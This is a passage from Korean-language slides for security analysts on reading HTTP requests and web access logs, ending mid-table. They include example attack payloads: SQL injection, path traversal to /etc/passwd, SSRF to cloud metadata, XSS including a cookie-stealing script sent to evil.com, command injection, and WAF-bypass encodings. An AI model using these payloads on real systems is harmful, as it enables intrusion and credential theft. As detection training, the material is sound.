다음 파트(PART 2): HTTP 요청의 각 필드를 보안 관제 시각으로 분해합니다 — Request Line, Header, Body, Response를 공격 흔적 읽기 관점에서 이해합니다.

🗣 수강생 확인 질문: "WAF에서 차단된 요청은 왜 Access Log에서도 반드시 확인해야 하나요?" → 우회 시도, 동일 IP의 다른 요청 파악, 타임라인 연결을 위해서.

보강 설명 웹 로그 분석은 웹 구조 이해 없이는 깊어질 수 없다 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

02

HTTP Deep Dive

HTTP 문법을 읽을 줄 알아야 요청에서 공격 의도를 꺼낼 수 있다

75분 · Slides 17–30

보강 설명 HTTP 문법을 읽을 줄 알아야 요청에서 공격 의도를 꺼낼 수 있다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

HTTP는 단순 텍스트지만, 보안 관제에서 가장 중요한 증거 포맷이다

공격은 결국 서버가 해석하는 요청 문법 안으로 들어와야 하므로, HTTP 문법을 읽을 줄 알아야 한다

PART 2 · HTTP Deep Dive

HTTP 요청 구조 한눈에 보기

POST /api/v1/login?next=%2Fadmin HTTP/1.1 ──── Request Line (Method + URI + Version) ──── Host: example.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0) Content-Type: application/x-www-form-urlencoded Cookie: session=abc123; csrftoken=xyz Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... ──── Headers ──── username=admin'--&password=anything ──── Body (POST Body) ────

HTTP 응답 구조

HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: session=new_token; HttpOnly Content-Length: 1842 ──── Response Headers ──── {"token":"...", "role":"admin"} ──── Response Body ────

access.log에는 무엇이 남는가?
Method, URI(+Query), Status Code, Response Size, User-Agent, Referer, Source IP는 기록됩니다. POST Body와 Response Body는 기본적으로 기록 안 됨 → App Log 필요.

📋

Request Line
Method + URI + Version

📨

Headers
Host/UA/Cookie/Auth/CT

📦

Body
Form/JSON/XML/Multipart

📬

Response
Status/Headers/Body

보강 설명 공격은 결국 서버가 해석하는 요청 문법 안으로 들어와야 하므로, HTTP 문법을 읽을 줄 알아야 한다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

Request Line 읽기: Method / URI / Version

한 줄짜리 Request Line 안에도 공격 표면과 의도가 많이 들어 있다

PART 2 · HTTP Deep Dive

POST /api/v1/user?id=1%27+OR+%271%27%3D%271 HTTP/1.1 ↑ Method ↑ Path (동적 API) ↑ Query String (URL인코딩된 SQLi) ↑ Version

HTTP Method

GET: 조회 · URL에 파라미터 노출
POST: 데이터 제출 · Body에 페이로드
PUT/PATCH: 리소스 수정 · 파일 덮어쓰기 가능
DELETE: 리소스 삭제 · 운영 서비스에서 드물면 의심
OPTIONS: 허용 Method 탐색 · 정보 수집에 활용
HEAD/TRACE: 존재 확인 / 디버깅 목적 악용 가능

URI = Path + Query

Path: 서비스 기능/리소스 위치 → Traversal, LFI 입력 가능
Query String: ?key=value 형태 → SQLi, XSS, SSRF, LFI 페이로드 주입 가장 빈번
Fragment (#): 서버에 전송 안 됨 → 분석 불가

URL 인코딩 주의

%27 = 단따옴표 ' → SQLi
%3C%3E = <> → XSS
%2F%2F = // → 경로 조작
%00 = Null Byte → 확장자 우회
%0a%0d = CRLF → 헤더 인젝션

⚠️ WAF 우회 시 Double Encoding 사용: %2527

🔍 SOC 분석 포인트: access.log에서 URI를 볼 때 항상 URL decode를 거쳐 읽어야 합니다. SIEM이 자동 디코딩하지 않으면 %27 OR 1=1이 SQL 키워드임을 놓칠 수 있습니다.

보강 설명 한 줄짜리 Request Line 안에도 공격 표면과 의도가 많이 들어 있다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

Path와 Query String은 비슷해 보여도 분석 포인트가 다르다

Path는 기능/리소스 위치를, Query String은 입력값/조건/대상을 드러내는 경우가 많다

PART 2 · HTTP Deep Dive

📂 Path에서 공격 신호 읽기

# LFI / Path Traversal GET /download/../../../etc/passwd GET /files/..%2F..%2F..%2Fetc%2Fshadow # WebShell 접근 GET /uploads/shell.php GET /images/evil.php%00.jpg # 관리자 경로 무차별 시도 GET /admin/config.php GET /.git/config GET /.env

탐지 포인트: Path에 ../, ..%2F, %00, PHP 확장자 업로드 경로, /.env, /.git 등이 등장하면 즉시 확인.

🔍 Query String에서 공격 신호 읽기

# SQL Injection GET /products?id=1' OR '1'='1 GET /user?id=1 UNION SELECT 1,version(),3-- # SSRF GET /proxy?url=http://169.254.169.254/latest GET /fetch?target=http://127.0.0.1:6379 # XSS (Reflected) GET /search?q=<script>alert(1)</script> GET /error?msg=<img src=x onerror=alert(1)>

탐지 포인트: 파라미터 값에 SQL 키워드, script 태그, 내부 IP, metadata URL 등이 포함되면 상태코드+응답 크기 함께 확인.

정리

Path에 특수 경로 패턴 → Traversal/LFI/WebShell. Query String에 특수 문자/키워드 → SQLi/XSS/SSRF. 두 위치를 동시에 보는 습관이 필요합니다.

보강 설명 Path는 기능/리소스 위치를, Query String은 입력값/조건/대상을 드러내는 경우가 많다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

주요 HTTP 요청 Header — 보안 해석 가이드

헤더는 단순 메타데이터가 아니라 공격자가 적극 악용하는 공간이다

PART 2 · HTTP Deep Dive

헤더 필드	정상 사용	공격 활용 / 보안 해석 포인트	탐지 시그널
User-Agent	브라우저/OS 정보 식별	스캐너 도구 식별(sqlmap, nikto), 위장 공격, 빈 UA	sqlmap, python-requests, nikto, curl, Burp
Cookie	세션 관리, 사용자 설정	세션 ID 탈취·재사용(Session Hijacking), 세션 고정, 2nd-order SQLi	비정상 세션 값, 다계정 동일 세션, 조작된 role/admin 쿠키
Authorization	Bearer Token, Basic Auth	JWT 위조(alg:none), 토큰 재사용, 권한 에스컬레이션	alg=none, 만료 토큰 재사용, 다른 계정 ID로 토큰 교체
Referer	이전 페이지 추적	Stored XSS에서 Referer 값이 반영되면 악용, CSRF 체크 우회 시도	script 태그 포함된 Referer, 외부 도메인 Referer로 CSRF 우회
Content-Type	Body 형식 지정	MIME Confusion Attack, multipart로 PHP 업로드 위장	image/jpeg인데 실제 PHP 코드, application/json인데 form 파라미터
X-Forwarded-For	원본 IP 전달	IP 스푸핑, IP 기반 차단 우회, localhost 위장	127.0.0.1, ::1, 내부 IP로 조작된 XFF
Host	요청 대상 서버 지정	Host Header Injection, 가상 호스트 경계 우회, Password Reset Poisoning	실제 서버 외 도메인, evil.com 등 조작된 Host

보강 설명 헤더는 단순 메타데이터가 아니라 공격자가 적극 악용하는 공간이다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

POST Body에서 공격 신호 읽기

Body는 access.log에 안 찍히기 때문에 App Log, WAF Log를 반드시 함께 확인해야 한다

PART 2 · HTTP Deep Dive

📋 form-urlencoded (로그인/검색)

# 정상 로그인 username=alice&password=P%40ss123 # SQLi Auth Bypass username=admin'--&password=anything username=' OR 1=1--&password=x # Stored XSS via 게시판 title=Test&body=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

access.log에는 URI와 상태코드만 보임. Body 내용 확인은 WAF log 또는 App 에러 로그에서.

🔧 JSON API (REST/GraphQL)

# 정상 API 요청 {"userId":123,"action":"view"} # SQLi in JSON parameter {"userId":"1 OR 1=1--","action":"view"} # Command Injection via JSON {"filename":"report.pdf; cat /etc/passwd"} # SSRF via URL parameter in JSON {"url":"http://169.254.169.254/latest/meta-data"}

JSON API는 Content-Type: application/json으로 Body 전송. WAF가 JSON 파싱을 지원하지 않으면 탐지 누락 가능.

multipart/form-data (파일 업로드)

파일 업로드는 Content-Type이 multipart/form-data. 공격자는 파일 이름, 확장자, MIME 타입, 파일 내용 자체를 모두 조작할 수 있습니다. 악성 PHP 파일을 image/jpeg로 위장해 업로드 필터를 우회합니다. Part 7에서 상세히 다룹니다.

보강 설명 Body는 access.log에 안 찍히기 때문에 App Log, WAF Log를 반드시 함께 확인해야 한다 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

HTTP Response로 공격 성공 여부를 추정한다

상태코드만이 아니라 응답 크기(bytes)와 응답 패턴의 변화가 핵심 단서다

PART 2 · HTTP Deep Dive

📊 응답 크기(bytes)의 의미

# access.log 예시 — bytes 필드가 핵심 GET /user?id=1 200 342 # 정상 응답 GET /user?id=1 UNION SELECT... 200 98432 # 이상 대용량! # Blind SQLi — 응답 크기 차이로 True/False 판단 GET /user?id=1 AND 1=1 200 342 # True → 정상 크기 GET /user?id=1 AND 1=2 200 12 # False → 최소 크기

응답 크기가 갑자기 크면: 정보 추출 성공 가능성. 동일 엔드포인트의 평균 응답 크기와 비교하세요.

⏱️ 응답 시간(response time)의 의미

# Time-based Blind SQLi 탐지 GET /user?id=1 0.12s # 정상 GET /user?id=1;SLEEP(5)-- 5.14s # SLEEP 성공! # Brute Force 성공 감지 POST /login → 401 × 50회 POST /login → 302 (성공!) 1회

응답 시간이 비정상 급증: Time-based SQLi 또는 DoS/Resource Exhaustion 가능성. access.log에 request_time 필드를 반드시 남기도록 설정하세요.

관찰 패턴	추정 공격	추가 확인 항목
200 + 응답 크기 급증 (10배 이상)	SQLi / IDOR 정보 추출 성공	DB Audit Log, App Log의 쿼리 내용
200 + 응답 크기가 요청마다 소폭 변동	Blind SQLi 진행 중 (Boolean-based)	파라미터 값 변화 패턴, 반복성
200 + 응답 시간 5초 이상 급증	Time-based Blind SQLi (SLEEP, WAITFOR)	쿼리에 SLEEP/BENCHMARK/pg_sleep 여부
401 다수 → 302 한 번	Brute Force 성공 후 로그인 리다이렉트	성공한 계정 ID, 이후 세션 활동

보강 설명 상태코드만이 아니라 응답 크기(bytes)와 응답 패턴의 변화가 핵심 단서다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

URL 인코딩과 난독화 — WAF 우회의 핵심 수법

분석가는 로그를 볼 때 항상 디코딩된 버전으로 읽어야 한다

PART 2 · HTTP Deep Dive

기법	예시 (원본)	인코딩 후	우회 이유
URL Encoding	`'` (단따옴표)	`%27`	단순 문자열 매칭 WAF 우회
Double Encoding	`%27`	`%2527`	WAF 1회 디코딩 후 재파싱 시 우회
Unicode Encoding	`<script>`	`\u003cscript\u003e`	HTML 렌더링 시 브라우저가 해석
HTML Entity	`<script>`	`<script>`	HTML Context에서 렌더링 시 우회
Case Variation	`SELECT`	`SeLeCt`, `sElEcT`	대소문자 고정 패턴 WAF 우회
Comment Injection	`UNION SELECT`	`UNION/**/SELECT`	공백 기반 탐지 우회
Null Byte	`shell.php`	`shell.php%00.jpg`	구형 서버 확장자 파싱 우회

🔍 실제 WAF 우회 예시

# 원본 페이로드 (WAF 탐지됨) ?id=1 UNION SELECT user,pass FROM users # URL Encoding 우회 시도 ?id=1%20UNION%20SELECT%20user%2Cpass... # Double Encoding 우회 ?id=1%2520UNION%2520SELECT... # Comment + Case ?id=1+UnIoN/**/SeLeCt+user,pass...

SOC 대응: SIEM에서 raw_uri와 decoded_uri를 모두 수집. 탐지 룰은 인코딩 정규화(normalize) 후 적용해야 합니다.

💡 핵심 원칙: 로그에서 이상한 % 기호가 많다면 → URL 디코딩 후 다시 읽기. SIEM에 urldecode() 함수 적용. WAF는 단계별 정규화 + 다중 인코딩 처리가 되어야 우회를 막을 수 있습니다.

보강 설명 분석가는 로그를 볼 때 항상 디코딩된 버전으로 읽어야 한다 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

실제 HTTP 요청 한 줄 — 통합 분석 실습

앞에서 배운 모든 개념을 하나의 로그 줄에 적용해 봅니다

PART 2 · HTTP Deep Dive

분석 대상: 의심스러운 HTTP 요청

185.220.101.47 - - [2026-03-15 03:41:22 +0000] "GET /api/v2/products?category=1%27+AND+1%3D1--+HTTP/1.1" 200 94821 "https://shop.example.com" "sqlmap/1.7.8#stable"

Q1

WHO: 185.220.101.47 — 알려진 Tor Exit Node / 공개 VPN. UA: sqlmap/1.7.8 → 자동화 SQL Injection 도구!

Q2

WHERE: /api/v2/products — 동적 API 엔드포인트, category 파라미터를 받음

Q3

WHAT: category=1%27+AND+1%3D1-- → URL 디코딩 → 1' AND 1=1-- → 고전적 SQLi 페이로드

Q4

HOW DIFFERENT: 정상 category 값은 숫자/문자. 단따옴표 + SQL 키워드 + 주석은 완전히 비정상

Q5

STATUS: 200 + 94,821 bytes → 정상 응답은 수백 바이트 수준. 94KB = 다량 데이터 추출 성공 추정!

Q6

REPEAT: sqlmap은 자동으로 수십~수백 회 반복 시도. 이전 로그에서 같은 IP + 다양한 페이로드 변형 확인 필요

Q7

WHAT NEXT: DB 버전/테이블/데이터 덤프 요청이 이어질 것. App/DB 감사 로그에서 UNION SELECT 쿼리 실행 여부 확인

판단: SQLi 공격 성공 가능성 HIGH. 즉각 차단 + DB 접근 감사 로그 확보 + 개인정보 노출 범위 파악 필요.

보강 설명 앞에서 배운 모든 개념을 하나의 로그 줄에 적용해 봅니다 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

HTTPS/TLS 환경에서의 로그 한계

HTTPS는 보안을 강화하지만, 동시에 네트워크 레벨 가시성을 낮춘다

PART 2 · HTTP Deep Dive

TLS 암호화의 영향

네트워크 패킷 캡처 센서(IDS/IPS): HTTP 요청 내용 불가시
URL Path는 SNI(Server Name Indication)로 일부 파악 가능
HTTP/2 + QUIC: 더 많은 내용이 암호화됨

탐지 사각지대

네트워크 IPS는 암호화된 페이로드를 검사 못 함
Data exfiltration을 HTTPS로 하면 flow 크기로만 추정
C2 beaconing도 HTTPS 443 포트면 방화벽 통과 용이

대응 방법

WAF (L7): TLS 종료 후 HTTP 내용 검사 → 핵심 방어선
access.log: 웹 서버/LB에서 TLS 종료 후 기록 → 가장 중요
SSL Inspection: Proxy에서 인증서 재서명 후 내용 검사
Host EDR: 서버 내 프로세스/파일 관점으로 보완

정리: HTTPS 환경에서 SOC의 주요 웹 데이터 소스는 WAF Log와 access.log입니다. 네트워크 레벨 IDS는 메타데이터(IP, 포트, 볼륨)만 참고합니다.

Client
HTTPS Request

🔒→

Network IDS
암호화로 내용 불가시

→

WAF
TLS 종료 후 검사 ✅

→

Web Server
access.log 기록 ✅

→

App / DB
App Log ✅

보강 설명 HTTPS는 보안을 강화하지만, 동시에 네트워크 레벨 가시성을 낮춘다 HTTP는 웹 공격이 결국 지나갈 수밖에 없는 공통 문법이다. Method, URI, Header, Body, Status를 문장처럼 읽는 연습이 탐지 정확도를 높인다.

Request LineHeaderResponse

핵심 포인트

Path는 기능과 리소스를, Query와 Body는 공격 입력값을 드러내는 경우가 많다
Header는 단순 메타데이터가 아니라 우회·위장·세션 탈취 단서가 된다
Response의 상태코드·바이트·지연 시간은 성공 여부 판단에 필수다

추가 확인

URL 인코딩·이중 인코딩·주석 우회가 있는지 decoded URI로 확인
POST/JSON 본문은 WAF와 App 로그에서 별도 확보할 수 있는지 확인
HTTPS 환경에서는 Access 로그만으로 보이지 않는 항목을 어느 소스로 메울지 정리

미니 실습

한 요청을 Method/Path/Query/Header/Body로 분해해 보기
401→200, 403→200, 500 반복 같은 상태 전환을 해석해 보기
인코딩 전후 문자열을 비교해 탐지 룰이 어느 단계에서 동작해야 하는지 써 보기

PART 2 핵심 정리 — HTTP를 공격 증거 포맷으로 읽는 법

HTTP의 각 필드가 어떤 공격 흔적을 담는지를 중심으로 기억하기

PART 2 · 핵심 정리

① Request Line

Method(행위), URI(위치+입력값), Version. URL 인코딩 반드시 디코딩 후 읽기. Query String은 공격 페이로드 1순위.

② Headers

User-Agent(도구 식별), Cookie(세션·권한), Authorization(토큰), XFF(IP 우회), Host(헤더 인젝션). 헤더도 조작 가능.

③ Body

access.log에 안 찍힘 → WAF/App Log 필요. form, JSON, multipart 모두 공격 표면. 파일 업로드는 별도 검증.

④ Response

상태코드만이 아니라 응답 크기(bytes)와 응답 시간이 공격 성공 여부의 핵심 단서. 평균값과 비교.

PART 2 핵심 메시지

HTTP는 평문 텍스트이므로 모든 공격 흔적이 포함될 수 있습니다. Request Line + Headers + 상태코드 + 응답 크기를 한 세트로 읽는 습관을 들이세요. Body는 별도 소스에서 보완합니다.

🗣 수강생 확인 질문: "같은 200 OK 응답인데, 어떤 로그는 정상이고 어떤 로그는 위험한 이유는 무엇인가?" → 응답 크기, 요청 페이로드 내용, 반복 패턴의 차이.

보강 설명 HTTP의 각 필드가 어떤 공격 흔적을 담는지를 중심으로 기억하기. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

03

웹 로그 구조와 Triage

로그 한 줄을 읽고 정상·의심·위험을 구분하는 기준을 익힌다

75분 · Slides 27–50

보강 설명 로그 한 줄을 읽고 정상·의심·위험을 구분하는 기준을 익힌다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

Apache Combined Log Format — 필드별 완전 분해

로그 한 줄의 각 필드를 읽는 속도가 Triage 품질을 결정한다

PART 3 · 웹 로그 구조

203.0.113.42 - jsmith [15/Mar/2026:03:41:22 +0000] "POST /api/v1/login HTTP/1.1" 200 1842 "https://example.com/auth" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120" ①IP ②- ③username ④timestamp ⑤Request Line ⑥status ⑦bytes ⑧Referer ⑨User-Agent

#	필드 이름	예시 값	분석 포인트
①	remote_host (IP)	`203.0.113.42`	LB/Proxy 환경에서 XFF 별도 확인 필요. 국가/AS 정보, 알려진 악성 IP 여부 체크.
②	ident	`-`	거의 항상 하이픈. 실무에서 무시.
③	authuser	`jsmith` 또는 `-`	HTTP Basic Auth 사용 시 기록. 자격증명 노출 주의. 비정상 계정명 확인.
④	timestamp	`[15/Mar/2026:03:41:22 +0000]`	타임존 확인 필수. UTC 기준 정렬. 새벽 시간대 대량 요청은 자동화 시그널.
⑤	request	`"POST /api/v1/login HTTP/1.1"`	Method, Path, Query, Version 전부 여기에. 페이로드 탐지의 핵심 필드.
⑥	status	`200`	200만 보면 안 됨. 시퀀스와 분포로 읽기. 404/500 급증은 탐색·오류 유발 시그널.
⑦	bytes	`1842`	응답 본문 크기. 동일 엔드포인트 평균 대비 급증 시 정보 추출 의심.
⑧	referer	`"https://example.com/auth"`	외부 도메인 Referer, 스크립트 포함 Referer 주의. 빈 Referer는 직접 접근 시그널.
⑨	user_agent	`"Mozilla/5.0 ..."`	자동화 도구 식별 필드. sqlmap, nikto, python-requests 등 도구명 탐지.

보강 설명 로그 한 줄의 각 필드를 읽는 속도가 Triage 품질을 결정한다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

Nginx 로그 형식과 SOC에 유용한 추가 필드

환경마다 로그 형식이 다르므로 항상 로그 설정을 먼저 확인해야 한다

PART 3 · 웹 로그 구조

Nginx 기본 로그 형식

# /etc/nginx/nginx.conf log_format main '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent"'

# SOC 권장 — 추가 필드 포함 log_format extended '$remote_addr $http_x_forwarded_for ' '[$time_local] "$request" $status ' '$body_bytes_sent $request_time ' '$upstream_status "$http_referer" ' '"$http_user_agent"'

추가 필드가 중요한 이유

추가 필드	분석 활용
